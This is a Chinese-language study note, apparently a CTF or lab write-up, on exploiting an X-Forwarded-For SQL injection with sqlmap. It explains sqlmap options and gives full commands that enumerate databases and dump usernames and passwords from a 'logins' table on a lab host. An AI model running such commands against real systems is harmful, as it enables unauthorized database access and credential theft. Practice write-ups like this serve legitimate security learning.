sqlmap的参数:
sqlmap -r 1.txt --batch -D webcalendar -T logins -C "loginip,logintime,username,password,status" --dump http://219.153.49.228:43259
- -r **.txt 从一个文件中载入HTTP请求。
- --batch 从不询问用户输入,使用所有默认配置。
- -D 库名 要进行枚举的指定数据库名
- -T 表名 要进行枚举的指定数据库表(如:-T tablename –columns)
- -C 列名 要进行枚举的数据库列
- --dump 转储数据库管理系统的数据库中的表项
- --dbs 枚举数据库管理系统数据库
- --current-db 检索网站当前数据库
- --users 检索所有数据库用户
- --current-user 检索当前数据库用户
指定参数进行扫描,而不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。比如扫描以下URL,已知Submit是静态参数,id是动态的,那么在扫描的时候只需要指定id就行了,指定多个参数时用双引号包起来,并以逗号分隔。也可以指定HTTP请求头中的参数,如User-Agent
python sqlmap.py -r d:3.txt --level 2 -p KeyWord
指定数据库和版本
python sqlmap.py -u http://www.any.com/wcms/show.php?id=33 --dbms mysql 5.0 --current-db
sqlmap成功后会在该目录下生成ip命名的文件夹 root@kali:~/.sqlmap/output/ip
X-Forwarded-For也称作XFF,是在http头中的一个参数
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
1、任务介绍
2、漏洞页面
3、提交任意信息看看结果,提示ip已记录,证明此处与数据库有交互
4、添加XFF参数,提交任意数据看看:
可正常提交,存在XFF注入漏洞:
用1.1.1.1的ip构造http文件,使用sqlmap -r 1.txt --dbs --batch http://219.153.49.228:45804,跑不出来库,后来用的*号才可以(ps:这里不是很懂,为什么用*号就可以跑出来了)
用1.1.1.1跑不出来
换*号后,跑出两个数据库和payload:
用sqlmap -r 11.txt -D webcalendar --tables --batch http://219.153.49.228:45804跑出表名
继续跑字段和内容:
用户名和口令已出来:
登录后获取flag
参考:
Sqlmap使用教程【个人笔记精华整理】_数据库_TT小子的博客-CSDN博客(参数介绍很详细全面!!)